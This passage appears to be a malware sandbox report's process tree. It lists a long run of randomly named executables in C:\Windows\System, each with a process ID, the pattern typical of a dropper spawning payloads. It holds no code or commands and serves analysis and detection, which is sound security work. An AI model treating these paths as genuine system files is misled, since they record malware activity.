- C:\Windows\System\uejoHDN.exe
  C:\Windows\System\uejoHDN.exe
  2⤵
  PID:12396
- C:\Windows\System\RENxaVs.exe
  C:\Windows\System\RENxaVs.exe
  2⤵
  PID:12420
- C:\Windows\System\QJcwjkA.exe
  C:\Windows\System\QJcwjkA.exe
  2⤵
  PID:12440
- C:\Windows\System\PpaWjjm.exe
  C:\Windows\System\PpaWjjm.exe
  2⤵
  PID:12460
- C:\Windows\System\JnaVSGW.exe
  C:\Windows\System\JnaVSGW.exe
  2⤵
  PID:12480
- C:\Windows\System\FxJNSuN.exe
  C:\Windows\System\FxJNSuN.exe
  2⤵
  PID:12500
- C:\Windows\System\wJnapUY.exe
  C:\Windows\System\wJnapUY.exe
  2⤵
  PID:12524
- C:\Windows\System\YkZpZQY.exe
  C:\Windows\System\YkZpZQY.exe
  2⤵
  PID:12544
- C:\Windows\System\asNoqjb.exe
  C:\Windows\System\asNoqjb.exe
  2⤵
  PID:12564
- C:\Windows\System\AFtQXJz.exe
  C:\Windows\System\AFtQXJz.exe
  2⤵
  PID:12584
- C:\Windows\System\WlRcRQM.exe
  C:\Windows\System\WlRcRQM.exe
  2⤵
  PID:12608
- C:\Windows\System\cqDMqlu.exe
  C:\Windows\System\cqDMqlu.exe
  2⤵
  PID:12628
- C:\Windows\System\EjrwQBh.exe
  C:\Windows\System\EjrwQBh.exe
  2⤵
  PID:12648
- C:\Windows\System\oDDJmiA.exe
  C:\Windows\System\oDDJmiA.exe
  2⤵
  PID:12668
- C:\Windows\System\YbJnjyo.exe
  C:\Windows\System\YbJnjyo.exe
  2⤵
  PID:12692
- C:\Windows\System\ijQsuGq.exe
  C:\Windows\System\ijQsuGq.exe
  2⤵
  PID:12708
- C:\Windows\System\HAxhhWA.exe
  C:\Windows\System\HAxhhWA.exe
  2⤵
  PID:9704
- C:\Windows\System\ChnGusn.exe
  C:\Windows\System\ChnGusn.exe
  2⤵
  PID:3256
- C:\Windows\System\ftouspd.exe
  C:\Windows\System\ftouspd.exe
  2⤵
  PID:7040
- C:\Windows\System\eBAyMmk.exe
  C:\Windows\System\eBAyMmk.exe
  2⤵
  PID:10936
- C:\Windows\System\BEVifZe.exe
  C:\Windows\System\BEVifZe.exe
  2⤵
  PID:13300
- C:\Windows\System\zGplKOL.exe
  C:\Windows\System\zGplKOL.exe
  2⤵
  PID:11948
- C:\Windows\System\FPpTIrm.exe
  C:\Windows\System\FPpTIrm.exe
  2⤵
  PID:11824
- C:\Windows\System\MeKIVhU.exe
  C:\Windows\System\MeKIVhU.exe
  2⤵
  PID:11784
- C:\Windows\System\SDCuNJF.exe
  C:\Windows\System\SDCuNJF.exe
  2⤵
  PID:11744
- C:\Windows\System\ioKWisQ.exe
  C:\Windows\System\ioKWisQ.exe
  2⤵
  PID:12140
- C:\Windows\System\awoRdys.exe
  C:\Windows\System\awoRdys.exe
  2⤵
  PID:11988
- C:\Windows\System\cAyDQtS.exe
  C:\Windows\System\cAyDQtS.exe
  2⤵
  PID:11664
- C:\Windows\System\aUUVMDS.exe
  C:\Windows\System\aUUVMDS.exe
  2⤵
  PID:12124
- C:\Windows\System\yEPCOgu.exe
  C:\Windows\System\yEPCOgu.exe
  2⤵
  PID:13160
- C:\Windows\System\XRTxTeO.exe
  C:\Windows\System\XRTxTeO.exe
  2⤵
  PID:10760
- C:\Windows\System\soFfsAF.exe
  C:\Windows\System\soFfsAF.exe
  2⤵
  PID:12408
- C:\Windows\System\EHhYcZv.exe
  C:\Windows\System\EHhYcZv.exe
  2⤵
  PID:7020
- C:\Windows\System\qPvlcQW.exe
  C:\Windows\System\qPvlcQW.exe
  2⤵
  PID:12836
- C:\Windows\System\WqTVdGJ.exe
  C:\Windows\System\WqTVdGJ.exe
  2⤵
  PID:2088
- C:\Windows\System\fEOGXeJ.exe
  C:\Windows\System\fEOGXeJ.exe
  2⤵
  PID:11852
- C:\Windows\System\lJpwGmf.exe
  C:\Windows\System\lJpwGmf.exe
  2⤵
  PID:5324
- C:\Windows\System\uMtSAQN.exe
  C:\Windows\System\uMtSAQN.exe
  2⤵
  PID:12680
- C:\Windows\System\UvyKCfJ.exe
  C:\Windows\System\UvyKCfJ.exe
  2⤵
  PID:12204
- C:\Windows\System\NFfDHVf.exe
  C:\Windows\System\NFfDHVf.exe
  2⤵
  PID:1952
- C:\Windows\System\AypEggl.exe
  C:\Windows\System\AypEggl.exe
  2⤵
  PID:11992
- C:\Windows\System\VAcJqBY.exe
  C:\Windows\System\VAcJqBY.exe
  2⤵
  PID:12888
- C:\Windows\System\zHkaNpX.exe
  C:\Windows\System\zHkaNpX.exe
  2⤵
  PID:11764
- C:\Windows\System\whJHrbn.exe
  C:\Windows\System\whJHrbn.exe
  2⤵
  PID:12456
- C:\Windows\System\oVOkrGf.exe
  C:\Windows\System\oVOkrGf.exe
  2⤵
  PID:12476
- C:\Windows\System\pnlxwOH.exe
  C:\Windows\System\pnlxwOH.exe
  2⤵
  PID:10008
- C:\Windows\System\omcxRSy.exe
  C:\Windows\System\omcxRSy.exe
  2⤵
  PID:12404
- C:\Windows\System\hfyKTir.exe
  C:\Windows\System\hfyKTir.exe
  2⤵
  PID:9296
- C:\Windows\System\LOuMqdK.exe
  C:\Windows\System\LOuMqdK.exe
  2⤵
  PID:12196
- C:\Windows\System\FLIOQDl.exe
  C:\Windows\System\FLIOQDl.exe
  2⤵
  PID:9824
- C:\Windows\System\KHRUUId.exe
  C:\Windows\System\KHRUUId.exe
  2⤵
  PID:11688
- C:\Windows\System\gwATLjN.exe
  C:\Windows\System\gwATLjN.exe
  2⤵
  PID:992
- C:\Windows\System\FpRYMye.exe
  C:\Windows\System\FpRYMye.exe
  2⤵
  PID:12620
- C:\Windows\System\bOpgFvs.exe
  C:\Windows\System\bOpgFvs.exe
  2⤵
  PID:10956
- C:\Windows\System\eRjQIKj.exe
  C:\Windows\System\eRjQIKj.exe
  2⤵
  PID:9688
- C:\Windows\System\FDYxuZy.exe
  C:\Windows\System\FDYxuZy.exe
  2⤵
  PID:4052
- C:\Windows\System\rpHkSEI.exe
  C:\Windows\System\rpHkSEI.exe
  2⤵
  PID:12092
- C:\Windows\System\DvvsWLG.exe
  C:\Windows\System\DvvsWLG.exe
  2⤵
  PID:12096
- C:\Windows\System\yDKNotR.exe
  C:\Windows\System\yDKNotR.exe
  2⤵
  PID:12532
- C:\Windows\System\halgGOk.exe
  C:\Windows\System\halgGOk.exe
  2⤵
  PID:12032
- C:\Windows\System\FfrgHHu.exe
  C:\Windows\System\FfrgHHu.exe
  2⤵
  PID:13136
- C:\Windows\System\cbEQdEg.exe
  C:\Windows\System\cbEQdEg.exe
  2⤵
  PID:11644
- C:\Windows\System\yqNAaRc.exe
  C:\Windows\System\yqNAaRc.exe
  2⤵
  PID:12728
- C:\Windows\System\OswDsoR.exe
  C:\Windows\System\OswDsoR.exe
  2⤵
  PID:12036
- C:\Windows\System\FJbCCZA.exe
  C:\Windows\System\FJbCCZA.exe
  2⤵
  PID:7520
- C:\Windows\System\hAkTBIu.exe
  C:\Windows\System\hAkTBIu.exe
  2⤵
  PID:12720
- C:\Windows\System\gCzPhtQ.exe
  C:\Windows\System\gCzPhtQ.exe
  2⤵
  PID:11668
- C:\Windows\System\pospAFd.exe
  C:\Windows\System\pospAFd.exe
  2⤵
  PID:12004
- C:\Windows\System\NqeBYLj.exe
  C:\Windows\System\NqeBYLj.exe
  2⤵
  PID:13256
- C:\Windows\System\duoZPbp.exe
  C:\Windows\System\duoZPbp.exe
  2⤵
  PID:12156
- C:\Windows\System\AdPOsRR.exe
  C:\Windows\System\AdPOsRR.exe
  2⤵
  PID:10896
- C:\Windows\System\KquWCjv.exe
  C:\Windows\System\KquWCjv.exe
  2⤵
  PID:3528
- C:\Windows\System\kOBWITW.exe
  C:\Windows\System\kOBWITW.exe
  2⤵
  PID:11804
- C:\Windows\System\djdbMuJ.exe
  C:\Windows\System\djdbMuJ.exe
  2⤵
  PID:9300
- C:\Windows\System\lvLABPy.exe
  C:\Windows\System\lvLABPy.exe
  2⤵
  PID:1416
- C:\Windows\System\HMlbcRt.exe
  C:\Windows\System\HMlbcRt.exe
  2⤵
  PID:4788
- C:\Windows\System\OpRKvwJ.exe
  C:\Windows\System\OpRKvwJ.exe
  2⤵
  PID:4056
- C:\Windows\System\laxQVXH.exe
  C:\Windows\System\laxQVXH.exe
  2⤵
  PID:12688
- C:\Windows\System\hpsQOYq.exe
  C:\Windows\System\hpsQOYq.exe
  2⤵
  PID:12216
- C:\Windows\System\PNgjBID.exe
  C:\Windows\System\PNgjBID.exe
  2⤵
  PID:4324
- C:\Windows\System\cVPJYYx.exe
  C:\Windows\System\cVPJYYx.exe
  2⤵
  PID:2092
- C:\Windows\System\ZebmHaF.exe
  C:\Windows\System\ZebmHaF.exe
  2⤵
  PID:4780
- C:\Windows\System\Twgfmxf.exe
  C:\Windows\System\Twgfmxf.exe
  2⤵
  PID:1036
- C:\Windows\System\JandTjc.exe
  C:\Windows\System\JandTjc.exe
  2⤵
  PID:2056
- C:\Windows\System\vJNgEOL.exe
  C:\Windows\System\vJNgEOL.exe
  2⤵
  PID:4024
- C:\Windows\System\adgLUTh.exe
  C:\Windows\System\adgLUTh.exe
  2⤵
  PID:848
- C:\Windows\System\IBiRkJj.exe
  C:\Windows\System\IBiRkJj.exe
  2⤵
  PID:4900
- C:\Windows\System\oPEzVYT.exe
  C:\Windows\System\oPEzVYT.exe
  2⤵
  PID:5104
- C:\Windows\System\VvDPSAc.exe
  C:\Windows\System\VvDPSAc.exe
  2⤵
  PID:4768
- C:\Windows\System\VXxMsXV.exe
  C:\Windows\System\VXxMsXV.exe
  2⤵
  PID:3280
- C:\Windows\System\gsiVYoY.exe
  C:\Windows\System\gsiVYoY.exe
  2⤵
  PID:12788
- C:\Windows\System\tOsNYGP.exe
  C:\Windows\System\tOsNYGP.exe
  2⤵
  PID:13320
- C:\Windows\System\ZfqtHOG.exe
  C:\Windows\System\ZfqtHOG.exe
  2⤵
  PID:13416
- C:\Windows\System\kyQJRAw.exe
  C:\Windows\System\kyQJRAw.exe
  2⤵
  PID:13456
- C:\Windows\System\BrybJWe.exe
  C:\Windows\System\BrybJWe.exe
  2⤵
  PID:13480
- C:\Windows\System\mUjBAJs.exe
  C:\Windows\System\mUjBAJs.exe
  2⤵
  PID:13524
- C:\Windows\System\nulDauj.exe
  C:\Windows\System\nulDauj.exe
  2⤵
  PID:13556
- C:\Windows\System\qQLfgHL.exe
  C:\Windows\System\qQLfgHL.exe
  2⤵
  PID:13616
- C:\Windows\System\TGHHBJF.exe
  C:\Windows\System\TGHHBJF.exe
  2⤵
  PID:13652
- C:\Windows\System\LHFufQf.exe
  C:\Windows\System\LHFufQf.exe
  2⤵
  PID:13696
- C:\Windows\System\eEKWfEY.exe
  C:\Windows\System\eEKWfEY.exe
  2⤵
  PID:13784
- C:\Windows\System\HuhdOTQ.exe
  C:\Windows\System\HuhdOTQ.exe
  2⤵
  PID:13836
- C:\Windows\System\FMBluqu.exe
  C:\Windows\System\FMBluqu.exe
  2⤵
  PID:13868
- C:\Windows\System\LlrbGol.exe
  C:\Windows\System\LlrbGol.exe
  2⤵
  PID:14008
- C:\Windows\System\AogQexT.exe
  C:\Windows\System\AogQexT.exe
  2⤵
  PID:14112
- C:\Windows\System\hEbZqob.exe
  C:\Windows\System\hEbZqob.exe
  2⤵
  PID:14044
- C:\Windows\System\aQmaani.exe
  C:\Windows\System\aQmaani.exe
  2⤵
  PID:13432
- C:\Windows\System\SBmxImm.exe
  C:\Windows\System\SBmxImm.exe
  2⤵
  PID:13364
- C:\Windows\System\zQsKgHV.exe
  C:\Windows\System\zQsKgHV.exe
  2⤵
  PID:13384
- C:\Windows\System\wUzWNYs.exe
  C:\Windows\System\wUzWNYs.exe
  2⤵
  PID:13408
- C:\Windows\System\dnYiBHb.exe
  C:\Windows\System\dnYiBHb.exe
  2⤵
  PID:3120
- C:\Windows\System\KUPxYJu.exe
  C:\Windows\System\KUPxYJu.exe
  2⤵
  PID:1652
- C:\Windows\System\ebYLpFx.exe
  C:\Windows\System\ebYLpFx.exe
  2⤵
  PID:13532
- C:\Windows\System\IyyUHgp.exe
  C:\Windows\System\IyyUHgp.exe
  2⤵
  PID:1248
- C:\Windows\System\aGiNpsg.exe
  C:\Windows\System\aGiNpsg.exe
  2⤵
  PID:4804
- C:\Windows\System\cvvYSPw.exe
  C:\Windows\System\cvvYSPw.exe
  2⤵
  PID:13644
- C:\Windows\System\DEpALto.exe
  C:\Windows\System\DEpALto.exe
  2⤵
  PID:13436
- C:\Windows\System\qRQZbNu.exe
  C:\Windows\System\qRQZbNu.exe
  2⤵
  PID:1624
- C:\Windows\System\PdoOnMm.exe
  C:\Windows\System\PdoOnMm.exe
  2⤵
  PID:13856
- C:\Windows\System\dtWjatz.exe
  C:\Windows\System\dtWjatz.exe
  2⤵
  PID:13900
- C:\Windows\System\PYZiYDS.exe
  C:\Windows\System\PYZiYDS.exe
  2⤵
  PID:13888
- C:\Windows\System\AzCYzHH.exe
  C:\Windows\System\AzCYzHH.exe
  2⤵
  PID:13928
- C:\Windows\System\DkHvBad.exe
  C:\Windows\System\DkHvBad.exe
  2⤵
  PID:13992
- C:\Windows\System\hUvLzVa.exe
  C:\Windows\System\hUvLzVa.exe
  2⤵
  PID:14064
- C:\Windows\System\NwXLXKe.exe
  C:\Windows\System\NwXLXKe.exe
  2⤵
  PID:14072
- C:\Windows\System\abpaYkR.exe
  C:\Windows\System\abpaYkR.exe
  2⤵
  PID:14172
- C:\Windows\System\lSkiHfF.exe
  C:\Windows\System\lSkiHfF.exe
  2⤵
  PID:14236
- C:\Windows\System\SsoYlgl.exe
  C:\Windows\System\SsoYlgl.exe
  2⤵
  PID:14272
- C:\Windows\System\kmUncbT.exe
  C:\Windows\System\kmUncbT.exe
  2⤵
  PID:14316
- C:\Windows\System\PLUDeVw.exe
  C:\Windows\System\PLUDeVw.exe
  2⤵
  PID:876
- C:\Windows\System\KAsZDfq.exe
  C:\Windows\System\KAsZDfq.exe
  2⤵
  PID:14332
- C:\Windows\System\RPspZMr.exe
  C:\Windows\System\RPspZMr.exe
  2⤵
  PID:3168
- C:\Windows\System\jRIcLRR.exe
  C:\Windows\System\jRIcLRR.exe
  2⤵
  PID:2124
- C:\Windows\System\MGWOvJa.exe
  C:\Windows\System\MGWOvJa.exe
  2⤵
  PID:2176
- C:\Windows\System\TALmnDS.exe
  C:\Windows\System\TALmnDS.exe
  2⤵
  PID:13476
- C:\Windows\System\gFMZVsf.exe
  C:\Windows\System\gFMZVsf.exe
  2⤵
  PID:2236
- C:\Windows\System\zlgPSPB.exe
  C:\Windows\System\zlgPSPB.exe
  2⤵
  PID:2568
- C:\Windows\System\dSELvjo.exe
  C:\Windows\System\dSELvjo.exe
  2⤵
  PID:1268
- C:\Windows\System\FZwnDto.exe
  C:\Windows\System\FZwnDto.exe
  2⤵
  PID:1948
- C:\Windows\System\WCuytaQ.exe
  C:\Windows\System\WCuytaQ.exe
  2⤵
  PID:4508
- C:\Windows\System\WCzvjBu.exe
  C:\Windows\System\WCzvjBu.exe
  2⤵
  PID:3928
- C:\Windows\System\lGZPXkl.exe
  C:\Windows\System\lGZPXkl.exe
  2⤵
  PID:14000
- C:\Windows\System\IExDrAW.exe
  C:\Windows\System\IExDrAW.exe
  2⤵
  PID:14060
- C:\Windows\System\RjNbEeI.exe
  C:\Windows\System\RjNbEeI.exe
  2⤵
  PID:14108
- C:\Windows\System\KEYimdO.exe
  C:\Windows\System\KEYimdO.exe
  2⤵
  PID:3088
- C:\Windows\System\bnoulxj.exe
  C:\Windows\System\bnoulxj.exe
  2⤵
  PID:14204
- C:\Windows\System\jQetyXe.exe
  C:\Windows\System\jQetyXe.exe
  2⤵
  PID:14248
- C:\Windows\System\eulzWZK.exe
  C:\Windows\System\eulzWZK.exe
  2⤵
  PID:14192
- C:\Windows\System\yOqGsoX.exe
  C:\Windows\System\yOqGsoX.exe
  2⤵
  PID:3252
- C:\Windows\System\RRARBgp.exe
  C:\Windows\System\RRARBgp.exe
  2⤵
  PID:5092
- C:\Windows\System\nikXzmH.exe
  C:\Windows\System\nikXzmH.exe
  2⤵
  PID:5444
- C:\Windows\System\QqHCgCi.exe
  C:\Windows\System\QqHCgCi.exe
  2⤵
  PID:1708
- C:\Windows\System\EnGKKjI.exe
  C:\Windows\System\EnGKKjI.exe
  2⤵
  PID:5268
- C:\Windows\System\EajNzYz.exe
  C:\Windows\System\EajNzYz.exe
  2⤵
  PID:5340
- C:\Windows\System\BFBitlr.exe
  C:\Windows\System\BFBitlr.exe
  2⤵
  PID:5404
- C:\Windows\System\TNysAbi.exe
  C:\Windows\System\TNysAbi.exe
  2⤵
  PID:5732
- C:\Windows\System\vCRfDjs.exe
  C:\Windows\System\vCRfDjs.exe
  2⤵
  PID:5768
- C:\Windows\System\kiKewbh.exe
  C:\Windows\System\kiKewbh.exe
  2⤵
  PID:13632
- C:\Windows\System\AzBNyLd.exe
  C:\Windows\System\AzBNyLd.exe
  2⤵
  PID:4092
- C:\Windows\System\gKejTKA.exe
  C:\Windows\System\gKejTKA.exe
  2⤵
  PID:4228
- C:\Windows\System\GwtWlvT.exe
  C:\Windows\System\GwtWlvT.exe
  2⤵
  PID:3956
- C:\Windows\System\IpAPAaR.exe
  C:\Windows\System\IpAPAaR.exe
  2⤵
  PID:14032
- C:\Windows\System\JDOqVMa.exe
  C:\Windows\System\JDOqVMa.exe
  2⤵
  PID:13936
- C:\Windows\System\gKeBrOM.exe
  C:\Windows\System\gKeBrOM.exe
  2⤵
  PID:13916
- C:\Windows\System\kHxAmZD.exe
  C:\Windows\System\kHxAmZD.exe
  2⤵
  PID:6044
- C:\Windows\System\HCWpZgE.exe
  C:\Windows\System\HCWpZgE.exe
  2⤵
  PID:6028
- C:\Windows\System\GUlgTJj.exe
  C:\Windows\System\GUlgTJj.exe
  2⤵
  PID:4620
- C:\Windows\System\iJHudXL.exe
  C:\Windows\System\iJHudXL.exe
  2⤵
  PID:13812
- C:\Windows\System\qHszrLL.exe
  C:\Windows\System\qHszrLL.exe
  2⤵
  PID:3464
- C:\Windows\System\PvWizBF.exe
  C:\Windows\System\PvWizBF.exe
  2⤵
  PID:14176
- C:\Windows\System\ILSbUxL.exe
  C:\Windows\System\ILSbUxL.exe
  2⤵
  PID:14196
- C:\Windows\System\sPXSfId.exe
  C:\Windows\System\sPXSfId.exe
  2⤵
  PID:5132
- C:\Windows\System\uvCEgaI.exe
  C:\Windows\System\uvCEgaI.exe
  2⤵
  PID:3748
- C:\Windows\System\FNcDRHi.exe
  C:\Windows\System\FNcDRHi.exe
  2⤵
  PID:5348
- C:\Windows\System\mjktjei.exe
  C:\Windows\System\mjktjei.exe
  2⤵
  PID:5960
- C:\Windows\System\iWeDCIR.exe
  C:\Windows\System\iWeDCIR.exe
  2⤵
  PID:6268
- C:\Windows\System\trLltpz.exe
  C:\Windows\System\trLltpz.exe
  2⤵
  PID:6836
- C:\Windows\System\NDEWqNH.exe
  C:\Windows\System\NDEWqNH.exe
  2⤵
  PID:768
- C:\Windows\System\YgFbZND.exe
  C:\Windows\System\YgFbZND.exe
  2⤵
  PID:6540
- C:\Windows\System\YKoCsEa.exe
  C:\Windows\System\YKoCsEa.exe
  2⤵
  PID:13496
- C:\Windows\System\vzlfpgX.exe
  C:\Windows\System\vzlfpgX.exe
  2⤵
  PID:5520
- C:\Windows\System\akkETTN.exe
  C:\Windows\System\akkETTN.exe
  2⤵
  PID:1872
- C:\Windows\System\GcUrLFN.exe
  C:\Windows\System\GcUrLFN.exe
  2⤵
  PID:7224
- C:\Windows\System\BxeCExo.exe
  C:\Windows\System\BxeCExo.exe
  2⤵
  PID:2984
- C:\Windows\System\IoCsJuy.exe
  C:\Windows\System\IoCsJuy.exe
  2⤵
  PID:2004
- C:\Windows\System\zPFuujC.exe
  C:\Windows\System\zPFuujC.exe
  2⤵
  PID:7064
- C:\Windows\System\wlubCjJ.exe
  C:\Windows\System\wlubCjJ.exe
  2⤵
  PID:3504
- C:\Windows\System\mUimcUd.exe
  C:\Windows\System\mUimcUd.exe
  2⤵
  PID:1816
- C:\Windows\System\KCUBjEJ.exe
  C:\Windows\System\KCUBjEJ.exe
  2⤵
  PID:7984
- C:\Windows\System\hoyEcgl.exe
  C:\Windows\System\hoyEcgl.exe
  2⤵
  PID:14300
- C:\Windows\System\yWPEbtD.exe
  C:\Windows\System\yWPEbtD.exe
  2⤵
  PID:8188
- C:\Windows\System\oTvPGid.exe
  C:\Windows\System\oTvPGid.exe
  2⤵
  PID:5136
- C:\Windows\System\QjXAGLL.exe
  C:\Windows\System\QjXAGLL.exe
  2⤵
  PID:5804
- C:\Windows\System\vmjuTIj.exe
  C:\Windows\System\vmjuTIj.exe
  2⤵
  PID:6516
- C:\Windows\System\HuLKHNI.exe
  C:\Windows\System\HuLKHNI.exe
  2⤵
  PID:5272
- C:\Windows\System\JUOkZEI.exe
  C:\Windows\System\JUOkZEI.exe
  2⤵
  PID:5512
- C:\Windows\System\AOVJIPz.exe
  C:\Windows\System\AOVJIPz.exe
  2⤵
  PID:5244
- C:\Windows\System\mnoBDZu.exe
  C:\Windows\System\mnoBDZu.exe
  2⤵
  PID:6248
- C:\Windows\System\BkQAWzc.exe
  C:\Windows\System\BkQAWzc.exe
  2⤵
  PID:5588
- C:\Windows\System\LvalDaY.exe
  C:\Windows\System\LvalDaY.exe
  2⤵
  PID:5592
- C:\Windows\System\BdrySHI.exe
  C:\Windows\System\BdrySHI.exe
  2⤵
  PID:8104
- C:\Windows\System\bvpUDoZ.exe
  C:\Windows\System\bvpUDoZ.exe
  2⤵
  PID:6928
- C:\Windows\System\YqPxmWh.exe
  C:\Windows\System\YqPxmWh.exe
  2⤵
  PID:6984
- C:\Windows\System\RtDdOEX.exe
  C:\Windows\System\RtDdOEX.exe
  2⤵
  PID:6880
- C:\Windows\System\BIDRdVL.exe
  C:\Windows\System\BIDRdVL.exe
  2⤵
  PID:10876
- C:\Windows\System\tcrWHpt.exe
  C:\Windows\System\tcrWHpt.exe
  2⤵
  PID:5964
- C:\Windows\System\KFVKiVH.exe
  C:\Windows\System\KFVKiVH.exe
  2⤵
  PID:5036
- C:\Windows\System\SFzJSMZ.exe
  C:\Windows\System\SFzJSMZ.exe
  2⤵
  PID:8744
- C:\Windows\System\qsUqeti.exe
  C:\Windows\System\qsUqeti.exe
  2⤵
  PID:6944
- C:\Windows\System\QdtESMz.exe
  C:\Windows\System\QdtESMz.exe
  2⤵
  PID:9136
- C:\Windows\System\tytBoxP.exe
  C:\Windows\System\tytBoxP.exe
  2⤵
  PID:7132
- C:\Windows\System\tvOmoBA.exe
  C:\Windows\System\tvOmoBA.exe
  2⤵
  PID:5940
- C:\Windows\System\ZXRTPfX.exe
  C:\Windows\System\ZXRTPfX.exe
  2⤵
  PID:4464
- C:\Windows\System\WZvYosM.exe
  C:\Windows\System\WZvYosM.exe
  2⤵
  PID:8296
- C:\Windows\System\jaiEFON.exe
  C:\Windows\System\jaiEFON.exe
  2⤵
  PID:7180
- C:\Windows\System\bclmVIa.exe
  C:\Windows\System\bclmVIa.exe
  2⤵
  PID:6352
- C:\Windows\System\BjovYnJ.exe
  C:\Windows\System\BjovYnJ.exe
  2⤵
  PID:9376
- C:\Windows\System\OCCAPkD.exe
  C:\Windows\System\OCCAPkD.exe
  2⤵
  PID:9392
- C:\Windows\System\pTlcwkg.exe
  C:\Windows\System\pTlcwkg.exe
  2⤵
  PID:8768
- C:\Windows\System\CqPXPQA.exe
  C:\Windows\System\CqPXPQA.exe
  2⤵
  PID:6608
- C:\Windows\System\JkbgOTW.exe
  C:\Windows\System\JkbgOTW.exe
  2⤵
  PID:9472
- C:\Windows\System\jbwDBoy.exe
  C:\Windows\System\jbwDBoy.exe
  2⤵
  PID:7104
- C:\Windows\System\QdAkqxT.exe
  C:\Windows\System\QdAkqxT.exe
  2⤵
  PID:9040
- C:\Windows\System\ehCxFRK.exe
  C:\Windows\System\ehCxFRK.exe
  2⤵
  PID:9968
- C:\Windows\System\sSDnTFv.exe
  C:\Windows\System\sSDnTFv.exe
  2⤵
  PID:7968
- C:\Windows\System\pstarDr.exe
  C:\Windows\System\pstarDr.exe
  2⤵
  PID:1876
- C:\Windows\System\JnsooZk.exe
  C:\Windows\System\JnsooZk.exe
  2⤵
  PID:8240
- C:\Windows\System\clYmMBh.exe
  C:\Windows\System\clYmMBh.exe
  2⤵
  PID:7524
- C:\Windows\System\rfVDUjy.exe
  C:\Windows\System\rfVDUjy.exe
  2⤵
  PID:5300
- C:\Windows\System\OkflJDA.exe
  C:\Windows\System\OkflJDA.exe
  2⤵
  PID:8496
- C:\Windows\System\BZHqkno.exe
  C:\Windows\System\BZHqkno.exe
  2⤵
  PID:8256
- C:\Windows\System\nQLHrAk.exe
  C:\Windows\System\nQLHrAk.exe
  2⤵
  PID:7752
- C:\Windows\System\Arrcgww.exe
  C:\Windows\System\Arrcgww.exe
  2⤵
  PID:8132
- C:\Windows\System\gSzsTWK.exe
  C:\Windows\System\gSzsTWK.exe
  2⤵
  PID:10352
- C:\Windows\System\UkRXsXS.exe
  C:\Windows\System\UkRXsXS.exe
  2⤵
  PID:7788
- C:\Windows\System\pEuruRz.exe
  C:\Windows\System\pEuruRz.exe
  2⤵
  PID:6112
- C:\Windows\System\LifuogE.exe
  C:\Windows\System\LifuogE.exe
  2⤵
  PID:4796
- C:\Windows\System\liHEThH.exe
  C:\Windows\System\liHEThH.exe
  2⤵
  PID:10852
- C:\Windows\System\vzrieDX.exe
  C:\Windows\System\vzrieDX.exe
  2⤵
  PID:1508
- C:\Windows\System\TjRvVzA.exe
  C:\Windows\System\TjRvVzA.exe
  2⤵
  PID:6212
- C:\Windows\System\vhhWRQK.exe
  C:\Windows\System\vhhWRQK.exe
  2⤵
  PID:7196
- C:\Windows\System\DuzDhtR.exe
  C:\Windows\System\DuzDhtR.exe
  2⤵
  PID:7272
- C:\Windows\System\rULcPKv.exe
  C:\Windows\System\rULcPKv.exe
  2⤵
  PID:6720
- C:\Windows\System\utgHiEd.exe
  C:\Windows\System\utgHiEd.exe
  2⤵
  PID:8388
- C:\Windows\System\BPfBMrs.exe
  C:\Windows\System\BPfBMrs.exe
  2⤵
  PID:8428
- C:\Windows\System\SCxjKpI.exe
  C:\Windows\System\SCxjKpI.exe
  2⤵
  PID:10656
- C:\Windows\System\bwXDkvi.exe
  C:\Windows\System\bwXDkvi.exe
  2⤵
  PID:7940
- C:\Windows\System\CwiKBKE.exe
  C:\Windows\System\CwiKBKE.exe
  2⤵
  PID:3904
- C:\Windows\System\NLoHMOF.exe
  C:\Windows\System\NLoHMOF.exe
  2⤵
  PID:1536
- C:\Windows\System\pRyCJaO.exe
  C:\Windows\System\pRyCJaO.exe
  2⤵
  PID:5584
- C:\Windows\System\gejLurv.exe
  C:\Windows\System\gejLurv.exe
  2⤵
  PID:9700
- C:\Windows\System\KiFBxaO.exe
  C:\Windows\System\KiFBxaO.exe
  2⤵
  PID:13180
- C:\Windows\System\UNPFLJG.exe
  C:\Windows\System\UNPFLJG.exe
  2⤵
  PID:9864
- C:\Windows\System\oEAnDaU.exe
  C:\Windows\System\oEAnDaU.exe
  2⤵
  PID:8036
- C:\Windows\System\NexcTfy.exe
  C:\Windows\System\NexcTfy.exe
  2⤵
  PID:10348
- C:\Windows\System\PljDpOQ.exe
  C:\Windows\System\PljDpOQ.exe
  2⤵
  PID:12580
- C:\Windows\System\JTbCfpD.exe
  C:\Windows\System\JTbCfpD.exe
  2⤵
  PID:3508
- C:\Windows\System\hPBBkPX.exe
  C:\Windows\System\hPBBkPX.exe
  2⤵
  PID:9596
- C:\Windows\System\trXEiox.exe
  C:\Windows\System\trXEiox.exe
  2⤵
  PID:10108
- C:\Windows\System\cmjbSLL.exe
  C:\Windows\System\cmjbSLL.exe
  2⤵
  PID:11464
- C:\Windows\System\mFYlSgf.exe
  C:\Windows\System\mFYlSgf.exe
  2⤵
  PID:9204
- C:\Windows\System\IrDaemm.exe
  C:\Windows\System\IrDaemm.exe
  2⤵
  PID:11284
- C:\Windows\System\OZbNseT.exe
  C:\Windows\System\OZbNseT.exe
  2⤵
  PID:6956
- C:\Windows\System\itlicqZ.exe
  C:\Windows\System\itlicqZ.exe
  2⤵
  PID:5948
- C:\Windows\System\LmvFtlP.exe
  C:\Windows\System\LmvFtlP.exe
  2⤵
  PID:9728
- C:\Windows\System\SNGgnge.exe
  C:\Windows\System\SNGgnge.exe
  2⤵
  PID:9412
- C:\Windows\System\PuDoAdp.exe
  C:\Windows\System\PuDoAdp.exe
  2⤵
  PID:8992
- C:\Windows\System\jGUdjuk.exe
  C:\Windows\System\jGUdjuk.exe
  2⤵
  PID:11180
- C:\Windows\System\QZGOcgW.exe
  C:\Windows\System\QZGOcgW.exe
  2⤵
  PID:10324
- C:\Windows\System\lxfRpoY.exe
  C:\Windows\System\lxfRpoY.exe
  2⤵
  PID:11252
- C:\Windows\System\KUUgRqk.exe
  C:\Windows\System\KUUgRqk.exe
  2⤵
  PID:9932
- C:\Windows\System\MivbzXe.exe
  C:\Windows\System\MivbzXe.exe
  2⤵
  PID:11308
- C:\Windows\System\bwpPdXY.exe
  C:\Windows\System\bwpPdXY.exe
  2⤵
  PID:9116
- C:\Windows\System\XRtNvaf.exe
  C:\Windows\System\XRtNvaf.exe
  2⤵
  PID:10184
- C:\Windows\System\PTCfJtL.exe
  C:\Windows\System\PTCfJtL.exe
  2⤵
  PID:8948
- C:\Windows\System\iVSgSRw.exe
  C:\Windows\System\iVSgSRw.exe
  2⤵
  PID:7744
- C:\Windows\System\CXwGRGU.exe
